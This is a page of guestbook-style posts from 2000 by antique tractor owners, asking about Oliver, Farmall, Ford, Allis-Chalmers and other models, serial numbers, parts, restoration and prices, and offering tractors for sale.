James Sampson wrote on Friday, July 07, 2000 (PDT):We have 3 old olivers which my father-in-law died and left us. We have an interest in selling them but first need information how to identify which models they are, their value, etc. Can you give me suggestions for finding this information.
LRR wrote on Thursday, July 06, 2000 (PDT):I have Oliver 77 Orchard tractor that is in very good condition. I am woundering how much it would go for in mint condition. Any informatation dealing or not dealing with price would be greatly appreciated. Thank you
LR wrote on Thursday, July 06, 2000 (PDT):I have a 1952 Oliver gas orchard tractor. I am wonderning how much it will sell for in mint condition. Any informatation dealing or not dealing with the price would be greatly appreciated. Thanks
Ken Roffel wrote on Wednesday, July 05, 2000 (PDT):I have a 1947 Farmall A that has been completely restored. The 3 year project was worth the effort as the Little "A" recently won first place at the May Day celebrations in Fort Langley, British Columbia. Fort Langley is also the home of the First Capital of British Columbia. The tractor pictured above is identical to mine. My serial numbers also start with FAA and the tractor is a "Cultivision A I have applied for a collector plate from the Provincial Government in order to run the tractor legally on the streets during parades. However, since the tractor was never registered and I do not own a farm, the process is taking longer than expected. Any restorations of Farmall A's going on near where I live, I would be delighted to offer any tips or suggestions.
Bud Smith wrote on Tuesday, July 04, 2000 (PDT):I have located a 1952 AC "G" model which my friend wants to sell. It is in fair condition. It has been outside for about 9 years. It seems to be complete but there are no attachments. The enginge is locked but all together. What is a fair price for both he and I.
terry knaus wrote on Monday, July 03, 2000 (PDT):ive reciently bought a to20,1949 model i believe and after i got it home it started knocking,it sounds like a main bearing,what i really need are the tourque specs for the rods and mains,thank you please e-mail me with sugestions thank you
Jim Brown wrote on Sunday, July 02, 2000 (PDT):Where is the serial number located on the D17 series III
Ann Noah wrote on Sunday, July 02, 2000 (PDT):We are in the process of restoring a 1946 Co-op E3 tractor. Because there are little to no records of Co-ops being built in 1946 we are having trouble finding a picture or any information about the placement of the decals for the tractor. If anyone could help us it would be greatly appreciated. We would be happy to send anyone interested a picture of the finished project, minus the decals at this point. Thank you.
John Warwick wrote on Sunday, July 02, 2000 (PDT):I have a cockshutt 30 1947. I restored it and transfered it over to 12 volt because it was getting to expensive to buy the regulator .I'm north of Montreal Canada.I used a delco alternator which I picked up at local scap yard .It makes all the difference in the world for starting it.
Carl Sabo wrote on Sunday, July 02, 2000 (PDT):I bought my tractor three years ago and have found it to be pretty reliable. I think the select-o-speed has been great. I, too, find that until the fluid warms up the tractor won't lock in park. Is it some thing to worry about?
Michael Clary wrote on Saturday, July 01, 2000 (PDT):Have the oppotunity to purchase a IH 340 utility tractor, fast hitch, front end loader, 1031.3 hrs, looks to be in decent shape just looks "well used". What would be a good bargaining price to pay for the tractor. Please email to docpenny at elmnet.net Thanks, Mike
kerry fegley wrote on Saturday, July 01, 2000 (PDT):I HAVE A MODEL GG WOOD LIKE TO NO WERE TO GET PARTS IF ANY WERE
Jesse L. wrote on Thursday, June 29, 2000 (PDT):I'm 19 years old and started restoring my own tractors when I was 15. I just aquired a 1949 "R" Diesel about a month ago form a good friend who has owned it for 10 years. What a neat tractor it is. Its just somthing about that knocking diesel sound they make that makes them so unique. This "R" that I have is in excellent orginal condition. It has 5400 original hours on it, the hour meter stiil works I hope to use it this fall to do custom plowing for neighbors.
Joe Marino wrote on Thursday, June 29, 2000 (PDT):I have taken the power steering cylinder apart but now I need the piston and one cylinder tube. Where can I find these??
David Dowling wrote on Tuesday, June 27, 2000 (PDT):I have operated a 300 utility tractor most of my life and I would never part with it. I am in the process of looking for another one to buy in the midwest. Any info on a good one, running or not, would greatly be appreciated!
Jim Prior wrote on Tuesday, June 27, 2000 (PDT):Thanks for the info John. But, I know where the Belt pully lever is. The two levers I'm talking about are located on the side of the bellhousing. One lever is for the hydraulics, but the other lever remains a mystery. Both levers are on the right side of the tractor when sitting in the seat and both can be controlled while sitting there also.
Jim Finnegan wrote on Tuesday, June 27, 2000 (PDT):How do you distinguish the difference between a Super 55 and a 550 model Oliver? Can this be determined with a serial number or Model number? Some here say mine is a Super 55 and some say 550. Your assistance would be greatly appreciated!
Catfish wrote on Monday, June 26, 2000 (PDT):I have a '59 cub lowboy, am looking for a front mount snow blade or a belly mount blade.I,m located in eastern Pa.,but could travel for the right deal.Thanks
dan wrote on Monday, June 26, 2000 (PDT):get a better pitcture of that tractor!!!!!!!!!!!!!!!!!
Darryl Reimer wrote on Monday, June 26, 2000 (PDT):I am replying to Ron Stoneking who asked about the Massey 95. I recently drove my friend's 95 in a pull. It came out between 1958 -1961 when it was replaced by the Massey Ferguson model 97.The Massey 95 was really a MM GVI with a 425 cid eng. and about 74hp on pto.The 97 was a MM G705 with a 504 cid eng. putting out 101hp pto and the Massey tin/paint of cource.
Cornelius wrote on Monday, June 26, 2000 (PDT):My dad has one of these 80 JohnDeere tractors, we use it every summer. We love the easy starting, and the power is equal to that of 4020 John Deere, We have even started this tractor at 10 degrees below zero without any block heater or flame thrower. Only problem is the starting engine, we are going to attempt to convert it to electric start.
Dick Hoffman wrote on Sunday, June 25, 2000 (PDT): I have an OC3 Dozer with a cage over it. I use it a lot around home. It is in nise shape and I have a lot of spare parts. A complete undercarrige, frame and transmission. I installed an alternator and 12 volt battery, lights and gauges. I saved all the old parts for anyone to go back to orig. I am moving soon and have no need for it anymore so I will be selling it. Anyone looking for a great little machine with all the spares send me an E-Mail. I am in Cle Elum Wa.
Brian Tracey wrote on Sunday, June 25, 2000 (PDT): Hi. I recently bought a farmal M with no motor,(not a problem ) the local pulling club is starting a V8 class. so at the moment I'm finishing a 500 hp (built) Big block Dodge . I have pulled 4x4 trucks, but this is my first pulling tractors
Reid Wilson wrote on Saturday, June 24, 2000 (PDT):Looking for a picture and any info I can get on a tractor I bought. It is a Ford with the numbers (860) which I assume is a model no. followed by the #94792 which I also assume is the ser. no. Appreciate any help.
TIM RUSCH wrote on Thursday, June 22, 2000 (PDT):WE OWN A 1952 UTS AND ARE IN THE PROCESS OF RESTORING IT AND ARE WONDERING IF YOU KNOW WHAT SIZE TIRES SHOULD BE ON THE FRONT. THANK YOU TIM
Rhonda Fundrburk wrote on Thursday, June 22, 2000 (PDT):Bobby Reagan, if you will email me a phone number or email me with a price list for a motor and a hood I will be glad to get back in touch with you. I found this tractor in a feild when I went to look at a John Deere the man had. I had never seen one like it so I bought it. I bleed green and know nothing about red tractors. Thank you for the info and any help is appreciated. Thanks again.
Joe Marino wrote on Thursday, June 22, 2000 (PDT):I need information on how to rebuild the hydraulic assist steering tubes. The rebuild kit is available but how do you take it apart??
DORSEY WATSON wrote on Thursday, June 22, 2000 (PDT):MY FATER BOUGHT THIS 550 oliver and rear mower in 1963 for thirty three hundred dollars i have rebuilt the engine twice and it is still going strong today my father has pased on and i would not part with it at all it has been a great tractor a good allround farm tractor i really like it
Fritz wrote on Wednesday, June 21, 2000 (PDT):We have a cockshutt 50 too. The toy company (Ertl) came to are house and took pictures and then made the models from are tractor. Also we still have that same 50, and proud of it.
BRAD WARD wrote on Wednesday, June 21, 2000 (PDT): AN OLDER NEIGHBOR IS STILL USING A SUPER 99 DIESEL TO PLOW
Jeff wrote on Tuesday, June 20, 2000 (PDT):Hey all you "Z" lovers out there! First of all, Yes that HAS TO BE a 50's ZB... Secondly, We have a '53 ZAS almost restored with a 206G Engine. Does anyone around have one like this? I'd love to see a picture so we can get proper decals and decal locations. Thanx!
Ron Stoneking wrote on Tuesday, June 20, 2000 (PDT):Am trying to purchase a Massy 95. Understand this is a G6 with Massy sheet metal built only in 1958. Can anyone share any infor or source of info with me on this tractor.
Ron Ainsworth wrote on Monday, June 19, 2000 (PDT):I HAVE A SUPER 55 1955 AND I NEED TO KNOW THE DEGREE OF ANGLE OF THE BORED HOLE OF THE FRONT AXLE CENTER MEMBER WHER THE FRONT AXLE PIVOT PIN INSERTS.(LOST PRINT TECHNOLOGY)PLEASE RESPOND THANKS FOR YOUR TIME.
Jeff Booker wrote on Monday, June 19, 2000 (PDT):Started the restoration of the 9N with Ferguson System that has been working faithfully on the farm since my grandfather bought it new. As with several of the other folks on this page, I started to get confused about the serial number though. It appears to be a '41 or '42, and a Ford dealer once told me it was a '42. Yet the serial number on the block is '9NI54780*'. My understanding is that the '*' indicates steel cylinder sleeves versus cast iron. I recently was informed that Ford used the 'I' to represent the numeral '1'...so is this a '41 9N with a serial of 54780 or a '44 2N (even though the prefix is 9N!!)?? The characteristics definitely don't look like a '44, and it has the Ferguson System hood emblem as well as Ford's. But like Mike asks, how can a 9NXXXX be over the 105412 production number?
Jim Prior wrote on Monday, June 19, 2000 (PDT):I just purchaced a farmall M. There are two control levers, both controlled from the operators position and both on the right side of the tractor as you're sitting in the seat. One lever is located approximately around the clutch area and the other is about six inches further back. When the rear lever is engaged, it feels like gears meshing but, the front lever, feels like nothing is happening. I hope there is someone that can tell me what these two control levers do.
Antique Tom wrote on Sunday, June 18, 2000 (PDT):Need information on HD-3 Allis Chalmers,six-way hydraulic dozer.Any help appreciated. Thanks
BARRY HERTAN wrote on Sunday, June 18, 2000 (PDT):i need any info on how to hook up the starter i unid all the wiring and cant remember how it all hooks up.should of took pictures when i did it.......thanks for any and all help
Charles R. King wrote on Saturday, June 17, 2000 (PDT):Would be interested in super 44 or 440
Kenton Stanek wrote on Wednesday, June 14, 2000 (PDT):I have currently inharreted my grandpa's AC'G and are in the process of restoring and I would like to know what a fully restroyed G is worth thanks .Bolivar,MO
Patrick Moore wrote on Wednesday, June 14, 2000 (PDT):I have been the proud owner of a 1964 Super Dexta for 9 years. First, for any one new to diesel, DO NOT USE STARTER FLUID, if you use it you can blow the top off the piston, I did have a man work on mine, he used either, it blew the rings off the piston, cost to reline and new pistons with all that goes with it was $1700.00. For a manual, go to the Ford Tractor Dealer and get the Ford Manual number F-201 it has information about Fordson Dexta, Fordson Duper Dexta, 2000 super Dexta, New Performance Super DExta. For parts for the engine go to a Massey Ferguson dealer, the Super Dexta uses the same engine as the current Massey Ferguson tractors. Ford can furnish most of the parts for hydrolics and the rest of the tractor. It is one fine machine, wouldn't trade it. Worth, in Okla. about $ 4500.00 to $ 6000.00 enjoy.
Bill Cranston wrote on Tuesday, June 13, 2000 (PDT):I have a 1946? D that has every piece on including the cast grill and original radiator and gas caps. would like to sell it. it does not run although it turns over. somebody make me a reasonable offer. Located in ne nevada.
Bud F. wrote on Tuesday, June 13, 2000 (PDT):Purchased a 1945 9N Ford Ferguson a couple of weeks ago. Found out there was oil getting into the radiator. Also found that it has a burnt valve. We are in the process of rebuilding it. We already have one totally restored and it runs sweet. PAINTED ALL GREY.
CK wrote on Sunday, June 11, 2000 (PDT):Spent many an hour as a boy on a 1900. 6-16" in Northern Il. black gumbo, Roll into the furrow, drop the plow, grab a hand full of throttle, and hang on. The old Detroit would make your ears ring. She would do a lot of work and wasn`t very thirsty. Good old horse.
CONRAD wrote on Friday, June 09, 2000 (PDT):I'M IN WORKS BUYING A 770 DIESEL W/FRONT LOADER&BACKHOE,WAS THIS A OPTION FROM OLIVER.THE COLOR IS YELLOW.I'M GOING TO PAINT IT GREEN.IT HAS A SMALL TRANY LEAK,AFTER IT WARMS UP IT STOPS.IT NEEDS SOME TLC.ANY HELP OR INFO E-MAIL ME THANK YOU
Adam Long wrote on Friday, June 09, 2000 (PDT):I am in the process of purchasing a Farmall Regular which I believe is a 1928 model. It has had the original steel cut off and was replaced with rubber. If anyone could help me on locating a set of these wheels it would be greatly appreciated!
Adam Long wrote on Friday, June 09, 2000 (PDT):I am in the process of purchasing a Farmall Regular, which I believe is a 1928 model. The Steel wheels have been cut off and replaced with rubber front and back. If anyone could help me locate a set of these it would be greatly appreciated!
ED SMITH wrote on Thursday, June 08, 2000 (PDT):I'm in the process of purchasing a mm m-5 for 3000 I was wondering if this price is reasonible? everything in good condition on tractor.
ED SMITH wrote on Thursday, June 08, 2000 (PDT):I'm in the process of purchasing a mm m-5 for 3000 I was wondering if this price is reasonible? everything in good condition on tractor.
Bruce Tom wrote on Tuesday, June 06, 2000 (PDT):I have a 1957 D-14 that I would like to convert to 3-Point hitch. Does anyone have a picture or drawing of a 3-Point conversion that would help me design mine? Also, does anyone have any D-14 fenders they'd like to sell? I have an Allis Chalmers 80-R Snap Coupler mount mower, almost complete, that I would like to sell. It fits the D-14, D-15, or D-17. I live in east central Ohio and my family has used Allis Chalmers tractors exclusively since 1945. We've found them to be dependable and they last forever.
Brad Johnston wrote on Tuesday, June 06, 2000 (PDT):Did they make this tractor in 1960? thanks Brad
Brad Johnston wrote on Tuesday, June 06, 2000 (PDT):Can you help me find an Oliver 990 please. Thanks
DENNIS WILDEY wrote on Monday, June 05, 2000 (PDT):I recently purchased a 1947 farmall M.I would like to know how many quarts of oil it takes and how to check it. This tractor has two cock-pit vavles at different levels on the side of the oil pan. Thank you.
Max Mitchell wrote on Sunday, June 04, 2000 (PDT):I have a MF98 that I currently use to mow with a 20 foot Woods Bat Wing mower. The MF98 which is the same as the Oliver 990 has a very interesting history. A Brazilian tractor company got the tooling and made variations of this tractor as late as the 1990's. The one question that I have never had answered is; "Why was the MF97 given the "MF97" designation when it came from the Minniapolis Moline 706, had 101 horsepower and was sold by Massey Ferguson after the MF98 (the MF98 has approximately 85 pto horsepower). I am very familiar with this tracor if anyone has any questions.
Fred McIntire wrote on Sunday, June 04, 2000 (PDT):I have been looking for a good, all around tractor to use on my 46 acre farm. I Just agreed to buy a gas powered Oliver 770 with a narrow front. This tractor is in excellent condition. Recently painted. It has an after market 3 point with hydraulics and came with a grader blade. It also has the torque amplifier. The tractor is parade ready! I paid $2400 for the tractor. I didn't think this was a bad price considering its condition. Any thoughts on the price? I'm almost ashamed to work such a beautiful tractor in the fields. This tractor also has the whining in the gears or rear end. I'm glad to hear this is characteristic of the Oliver. Does anyone know who refurbishes the steering wheels? Also, is there a company that rebuilds the gauges? The tach is not working. I'm going to buy the owners manual and service manual for this tractor. She is a real beauty!! I can't wait to get her home and start working her!
Raging wrote on Friday, June 02, 2000 (PDT):Hello Everybody!! Today is a happy day - I just bought my first tractor. It is seriel number 178 844 036. I believe it is from one of the last years Oliver made 770's. She is gas, has power steering, live hydralics, and live pto and cranks out 50 hp or so. Also comes with nice Oliver loader. But I need a 3 point hitch yet. Hope to find one soon, let me know if you have any leads. I plan to use this Oliver on my 100 acre farm. Thanks!!
Brad Hamil wrote on Friday, June 02, 2000 (PDT):I am looking for parts for a Int. 1026. I need the model number 1026 and the long hood piece that measure approx. 43 in. with the raised letters International.
Ken Bray wrote on Friday, June 02, 2000 (PDT):We had an 880 wide front back in the mid 60s. Of all the tractors we had (and there were many!!) The 880 was my most favorite. I am looking for a gas engine 880 but my budget is tight and mama says I have to complete her new kitchen first!
Arthur Blackwell wrote on Thursday, June 01, 2000 (PDT):I am typical of the boy they took out of the country but could not take the country out of him, this site is a must for anyone interested in the fergy's
Brad Georgeson wrote on Wednesday, May 31, 2000 (PDT):My dad farmed with a 1967 G1000, it looked similar except the G1000 on the side was a black sticker instead of white. The tractor proved dependable except for a PTO problem, had plenty of power, and always started even on the coldest days.
Leonard Zeller Iowa wrote on Wednesday, May 31, 2000 (PDT):I was almost raised on a D. First tractor I ever drove. I have a picture of me on it as a baby. It had the spoke flywheel and it was on steel but my dad changed it over to rubber. A couple of years after it was traded off for an A, I found out from the dealer that he had let some one use it for running a silage cutter at the silo in the fall and they had water in i and one nigght it froze hard enough, forgot to drain it and cracked the block. Like a dummy, I didn't but it right then, and probably could have for a song. Been sick about it ever since these old tractors have been such a collector item. I have a rear hub for it if anyone would want one. My address is 24858 50th st, cresco, Iowa 52136
n.a. lane wrote on Wednesday, May 31, 2000 (PDT): what a bad picture of a work of art . i'll have to send you a nice one..
Randall B. wrote on Tuesday, May 30, 2000 (PDT):My grandfather used to own a U Diesel. Wish we still had the tractor as it is rare. Both grandfathers used U Minneapolis Moline, one had the diesel and the other LP models.
Mark Dykstra wrote on Tuesday, May 30, 2000 (PDT): This is the best runing oliver that my dad has. This was taken in Lynden W.A. At the antique tractor show. August 2 3 4 5 2000
Robin Mabrito wrote on Tuesday, May 30, 2000 (PDT):We are in the process of restoring a wide front end silver king and am looking for a schematic of the tractor
Jim wrote on Monday, May 29, 2000 (PDT):I have an Oliver Super 55 with a front end loader on it. I was moving some loose soil with it and lost seemed to have lost traction. I think it is only driving on the left rear wheel for its traction. Does anyone know what may have caused this?
Joe E Cramer wrote on Sunday, May 28, 2000 (PDT):The G-1000 you have pictured is a G-1000 Vista owned by Wes Kentch in Ferndale, Wa. and the MM Waterloo is owned by Postma Bros. of Lynden, Wa.
Joe E. Cramer wrote on Sunday, May 28, 2000 (PDT):The MM Waterloo is owned by Postma Bros. of Lynden, Wa.
Joe E Cramer wrote on Sunday, May 28, 2000 (PDT):The G-1000 you have pictured is a G-1000 Vista owned by Wes Kentch in Ferndale, Wa. and the MM Waterloo is owned by Postma Bros. of Lynden, Wa.
Travis C. Jones wrote on Sunday, May 28, 2000 (PDT):I have 1947 Farmall B in good shape for sale if interested in Stockdale ,Texas
farmer wrote on Saturday, May 27, 2000 (PDT):I'm looking for a 206-4 block for a 1951/52 mm zau, any one know where I could get one??
Doogie wrote on Friday, May 26, 2000 (PDT):In need of a good engine block for a 550 Oliver 4-cyl. gas. would consider parts tractor.
Andrew Gubbels wrote on Thursday, May 25, 2000 (PDT):Does any know of any d15 series 2 diesels for sale. If so could you please let me know. Thanks a bunch.
Paul Schierbeek wrote on Thursday, May 25, 2000 (PDT):We have a 1937 "B" that we like to sell. it was restored about 10-12 years ago.The tractor run great. We also have the owners manual(cover missing). Also a set of steel wheels for the back. We are located in Holland, MI. Also have a set of lugs of a John Deere "A" in mint condition.
Karl Lesch wrote on Thursday, May 25, 2000 (PDT):I am in the process of restoring my grandfather's 1928 GP, and I need to find two (2) complete spark plug assemblies. Any help on where I can aquire these would be greatly appreciated. Thanks- Karl
L Morrison wrote on Wednesday, May 24, 2000 (PDT):Thanks for the tip on the serial # location to steve. Mine was 64471 which I presume means it was built in 1930.
ted korona wrote on Tuesday, May 23, 2000 (PDT):i have recently bought a cockshut 30 that has a 3pth and power take off. the old girl starts immediately and runs well. the problem i have is, when i drained the oil i've never seen so much water mixed in. my question is how do i radify this and what kind of oil do i use(engine and trans. and gear). i am really illerate with this tractor my first. it is a gas engine.
Nick Peters wrote on Monday, May 22, 2000 (PDT):I am thinking about buying a Oliver 550 in pretty decent condition. I am wondering how much they are going for now a days? Also I would need a grill for the front of the tractor to restore it. Please respond with information.
Randy Brown wrote on Saturday, May 20, 2000 (PDT):My dad and brother have just finished completely restoring a 1933 F-12, and bought their paint at a local parts and paint store, where the guy had the formula. It is a dark gray. Any one need the info, please email. I would be happy to help. Also, I grew up with an M-TA. Any for sale please email. prefer ohio or indiana
James Lux wrote on Saturday, May 20, 2000 (PDT):I have a 47 BN, SN 205282, that has multiple carb problems. Can anyone tell me; 1) the float level setting; and, 2) rough starting points for the idle and load needles? BTW the plugs are sooty and the engine runs best when both needles are turned fully in (clockwise). Also, where is a good source for the IT manuals? Your help is appreciated. Jim
Kyle Sievert wrote on Saturday, May 20, 2000 (PDT):I have an Oliver 60 Serial #460015C62. I'm looking for some parts (hood, radiator, tie rod ends, sterring wheel and other misc. parts). I'm also trying to get the firing order for a 4 cylinder gas engine. I appreciate the help!
Kyle Sievert wrote on Saturday, May 20, 2000 (PDT):I have an Oliver 60 Serial #460015C62. I'm looking for some parts (hood, radiator, tie rod ends, sterring wheel and other misc. parts). I'm also trying to get the firing order for a 4 cylinder gas engine. I appreciate the help!
Ron Larson wrote on Friday, May 19, 2000 (PDT):Looking for a Woods belly mower for my Cub. Prefer 3 blades 48 or 60 inch. I am located in Shelton, Washington. Phone number is 360-427-5192
Jery Shoemake wrote on Friday, May 19, 2000 (PDT):Can anyone help me identify this tractor - serial number 9A-106863? This tractor is a 3-cylinder gasoline engine. Can anyone tell me if this is a 135 or what model it might be. Any help would be appreciated.
James D. Wampole Sr. wrote on Wednesday, May 17, 2000 (PDT): I have a 1926 Regular that I have owned since 1991 Hasn`t run since 1984 found cracked head. located another one down the street ,in process of rebuilding complete tractor
LUCAS DELCAMP wrote on Wednesday, May 17, 2000 (PDT):I AM REQUESTING INFO FOR A TERM PAPER-ABOUT HOW MANY 88'S, 77'S, 66'S, 99'S PLUS THE SUPERS WERE BUILT? THANK YOU IN ADVANCE.
Bruce Patterson wrote on Monday, May 15, 2000 (PDT):I bought a Super Dexta last year that is identical to the one in the picture but has a Ford loader attachment. I use the tractor every week and it "runs like a champ". It always starts well without ether even in cold weather. It's a well built strong running machine. I was fortunate to get the original owner's manual and a shop manual with the tractor.
Bob McMulkin wrote on Monday, May 15, 2000 (PDT):I own a 8N Funk 6 cyl. conversion with a Sherman two speed transmission....I'am in the process of restoring it in North Carolina...I also own a original 8N which I purchased from the origianl owner. It has very low hours on and needs nothing ...Also in the collection are a 1958 Ford model 851 with a Ford model #703-4 bucket loader and a 1955 Model 850...Sometime in the future I will send pictures of the tractors so everyone can enjoy them..
Bob McMulkin wrote on Monday, May 15, 2000 (PDT):I own a 8N Funk 6 cyl. conversion with a Sherman two speed transmission....I'am in the process of restoring it in North Carolina...I also own a original 8N which I purchased from the origianl owner. It has very low hours on and needs nothing ...Also in the collection are a 1958 Ford model 851 with a Ford model #703-4 bucket loader and a 1955 Model 850...Sometime in the future I will send pictures of the tractors so everyone can enjoy them..
Vern Weber wrote on Sunday, May 14, 2000 (PDT):For Sale Johd Deere 420 W , Tractor is in Very Good Condition, Have owned it for three years , need room and cannot store any longer. Located in Huntsville , Oh. (northwest central Ohio. Ph. 937-686-6666. $4000.00.
Bob wrote on Saturday, May 13, 2000 (PDT):Got one '41- runs like a clock
Gary E. Cole wrote on Friday, May 12, 2000 (PDT):I'm looking for a right outboard IDLER BRACKET, part number TE222Y for a MC tractor, with a serial number 10098. Thanks for any help in locating this part.
Michael Drake wrote on Wednesday, May 10, 2000 (PDT):I am having a problem in finding some information on a case tractor The serial # 4300857 it also says size 0.Can anybody shine some light on my proble maybe some body can give some idea on how old the tractor really is.Everybody around my area can't help me . if you can please email me.
Jos wrote on Wednesday, May 10, 2000 (PDT):Ido, Gefeliciteerd met ow verjoardag. Mooie trekker he, sjon deer steet nog niet in de schaduw.
Antonio A. Prete wrote on Tuesday, May 09, 2000 (PDT):I'm buying a 1947 cockshutt 30 which has the narrow front two wheels. Can these tractors be retro-fitted with the wide front; if so, how much?
PHIL wrote on Monday, May 08, 2000 (PDT):The serial plate above the steering wheel is missing on my TO-20. The serial # on the engine block is 101321. Does anyone know how to relate the engine serial # to the year the tractor was built?
Barry Thomas wrote on Monday, May 08, 2000 (PDT):My father-in-law drove an 8-16 when he was growing up in southern Indiana. It was his first and is still his favorite. I would love to buy one to restore and show. Any information on locating a tractor greatly appreicated.
Barry Thomas wrote on Monday, May 08, 2000 (PDT):My father-in-law drove an 8-16 when he was growing up in southern Indiana. It was his first and is still his favorite. I would love to buy one to restore and show. Any information on locating a tractor greatly appreicated.
Mark Baty wrote on Monday, May 08, 2000 (PDT):I have a 1950 Farmall Cub in excellent original condition. It has front lights, hand crank, 3 yr. old Woods 60" belly mower, wheel weights, wheel chains, moldboard plow, hydraulics, 6' snow plow, 1 year old battery, original tool box, and the lever for using hand lifting instead of hydraulic. I am located near Cleveland, Ohio, and am asking $3500.00 complete. I also have all the original manuals and sales brochure. Mark Baty
Dwayne wrote on Sunday, May 07, 2000 (PDT):Mike & Nick have you sold your 160/ How much if not? Where are you located?
Joel Westrom wrote on Saturday, May 06, 2000 (PDT):I have a MH 44. (I think) Model number 44G1SF serial number 60389. It's been sitting on our farm/summer home for 10-12 years. It was running when we parked it with the exception that the clutch went out. It has a front end loader and looks like its in good condition. We would like to sell it. We are located in Upper Michigan. Anyone interested can e-mail for more information and I would be happy to e-mail you any pictures. Joel Westrom e-mail;joel at joesauction.com
Adam Riley wrote on Thursday, May 04, 2000 (PDT):my grandpa brought a G900 when they were first made and we still use it to this day one are farm. i also have a corn picker that is MM a disc, plow, and a combine. someday i hope to have all MM on my farm
Dover B. wrote on Wednesday, May 03, 2000 (PDT):I am looking at purchasing a Farmall Super A. The current owner says it is a 1948. The problem is we can not find a S# plate. Can someone tell me where the S# plate maybe and/or was located?
CHUCK PHILLIPS wrote on Tuesday, May 02, 2000 (PDT):I HAVE THE HONOR TO BE ABLE TO OWN SEVERAL 30'S, ONE 40 & ONE 50 WHICH I WOULDN'T TRADE FOR ANY THING. I HAVE PARTS AND I'M LOOKING ALWAYS LOOKING FOR TRACTORS OR PARTS.
Lavern Berndt wrote on Tuesday, May 02, 2000 (PDT):Wanted to buy. D-10 Allis-Chalmers, excellent condition needed. Will pay top money for the right one.
Chris Dauphinais wrote on Monday, May 01, 2000 (PDT):We are looking at a Super Dexta for $4500. It's recently rebuilt with about 500 hours since rebuilding. We know nothing about this tractor. We've been told it's a great workhorse and is very reliable. We have a very small farm and need it for mowing, etc. We'd like any useful info on the tractor and the price, preferable before 5-12-00. Thanks
Guy Siegenthaler wrote on Monday, May 01, 2000 (PDT):the Oliver 1950 has a GM motor that has 4 cylinders It has 6 forward gears the firing order is 1-3-4-2 in the manual it sayes that they only made diesel models They dont have any gassoline or LP-gass engine information.
Rev Samuel Bryant wrote on Monday, May 01, 2000 (PDT):I have a M model Farmall. The trans in locked in high gear. Im looking for ways in which to free it. It has been sitting in a field for years, but it has the potential of being beautiful, and useful again.
Wayne Johnston wrote on Sunday, April 30, 2000 (PDT):I got a Fordson Super dexta for sale for $2500.00
tracy redd wrote on Saturday, April 29, 2000 (PDT):march 29, 2000 I have 1937 farmall F-20. It run real good. It got a crack outside the engine block. I went to different welding shop and they said they can't weld it, because the crack is too long. and I put putty weld on the block. that keep water from out of the engine. do you think that putty weld will work? I need help to find the engine block. is there anyplace i can find or does anyone know where i can find? thanks.
Rev. Samuel Bryant wrote on Saturday, April 29, 2000 (PDT):I have a model M, the trans is locked in high gear. Im looking for ways in which to free it?
Ann Luwig wrote on Saturday, April 29, 2000 (PDT):I have a Farm All H with #126172 hasn't been started for several years but not locked up I have someone interested in purchasing it but have no idea what it is worth can you give me some idea what to ask for it?
Louise Savard wrote on Friday, April 28, 2000 (PDT):I need pictures and documentary about old Ford tractors and tools used in 1940 1950 to work the field. It's for a paper. please leave yours answers.Leaves your names and adress for credits. Big thanks from Quebec, Canada
Louise Savard wrote on Friday, April 28, 2000 (PDT):I need some Pictures and documentary about old Ferguson used in 1940-1950 for the writing of a paper and different tools used to work the field. Please send me yours answer. Leave names and adress for credits. Big thanks from Quebec, Canada.
Don Kickbusch wrote on Thursday, April 27, 2000 (PDT):Would appreciate any information on the 50 or 60 specials produced by Cockshut. Also interested in 50 or 60 books. Thank you Don Kickbusch
LSCHAFER wrote on Wednesday, April 26, 2000 (PDT):I an trying to find information on a McCormick Deerling W6 for my uncle. Is there anyone who can help? He is trying to locate the rear rim 14-30 and that is all I can tell you at this time. If you need more info. to help please let me know thank you. L
Brandon Besser wrote on Wednesday, April 26, 2000 (PDT):I am looking for any 56 or 66 series tractors that are in need of repair. If you have any leads they are greatly appreciated.
Gordon wrote on Wednesday, April 26, 2000 (PDT):I purchased a 9N that I thought I'd checked over pretty good but after running a few days found what appears to be a hair line crack on the side of the block. A very small amount of water oozes out 1 inch below the head and 2 inches behind the rear oil filter bolt. Will traditional Stop Leak work for a temperary fix? Any one else had this problem?
Brad Biggers wrote on Wednesday, April 26, 2000 (PDT):I recently bought an H, between a 1950 and 51. The govenor I was told had been disconnectd but I found the assembly there but some thing is is missing. I need good clear pic's of both sides of the troctor to see what is supposed to be there. E-mail me and make it a bit map image so it can be blown up!
Emil Page wrote on Tuesday, April 25, 2000 (PDT):I have a block and other parts for a 77 gas Oliver. Good condition. Am currently restoring a 77 Oliver and WC AC.
Jim wrote on Monday, April 24, 2000 (PDT):My 160 runs great. Got the brake problem, it stops. I have a front loader on it, oversized had to block up the frame. jim
phillip french wrote on Monday, April 24, 2000 (PDT):my frend herb has a AC d-15 series 2 diesel tractor I would like to know how many are made, and the value. thank yuo flip.
Robert Sell wrote on Monday, April 24, 2000 (PDT):I have an old A-C, WC with tricycle front and a Model M engine with cracked block. Pretty rough. Any offers call (509) 732 6221.
Robert Sell wrote on Monday, April 24, 2000 (PDT):I have an old A-C model M with tricycle front end. Engine has cracked block. most of the rest is there for parts. Phone (509) 732 6221 with any offers.
Chip Middleton wrote on Sunday, April 23, 2000 (PDT):I need parts for the steering gear and any tech. advice i can get thanks Chip Middleton
Greg Robinson wrote on Sunday, April 23, 2000 (PDT):I am in the process of restoring a WD-9. Any and all information, especially the gas to diesel switchover process, would be greatly appreciated. Please make the subject of the e-mail WD-9 as I get a great deal of B.S. mail. Thank you in advance for your time ps I have a B.S (bachelor of science not bull shi__) Mechanical Engineering degree and am currently looking for a job if anyone has any leads!
Jim Fenton wrote on Sunday, April 23, 2000 (PDT):I have a 1967 AC D-21 Been Overhauled Appox 19 years ago by neighbor. He got the tractor new in Ill. The kids just used the tractor,putting nothing nor replacing nothing. I purchased the D-21 at a bankrupcy sale for $2250.00 After some work----Alot of time chasing parts, it does run. Now is when the work really comes into play.. you can see where the seals leak, how the breaks hold.. So if anyone has parts or decals, books, manuals, or information an or conversation. I;ld welcome hearing from ya. Thanks for reading this..
G RYAN wrote on Sunday, April 23, 2000 (PDT):I own a 1934 and a 1937 model f-12 I have the narrow front steel wheels if someone needs them make offer. Also I have one good brake cover, one good radiator, a fuel pump that needs a diaphram, and possibly a camshaft and main bearing cap. I am in need of a hand crank, complete mag assy. and an exhaust flange to attatch muffler to the exhaust manifold. Any comments are very well appreciated on where to locate any of these parts. thanks G Ryan
Ron Wilson wrote on Sunday, April 23, 2000 (PDT):I just bought a Leader Tractor, and plan to restore it. any suggestions greatly appreciated. In answer to Bob, I understand that Long tractors may have manufactored Leader for a while. I am not sure, but several older Farmers in Southside Virginia told me this.
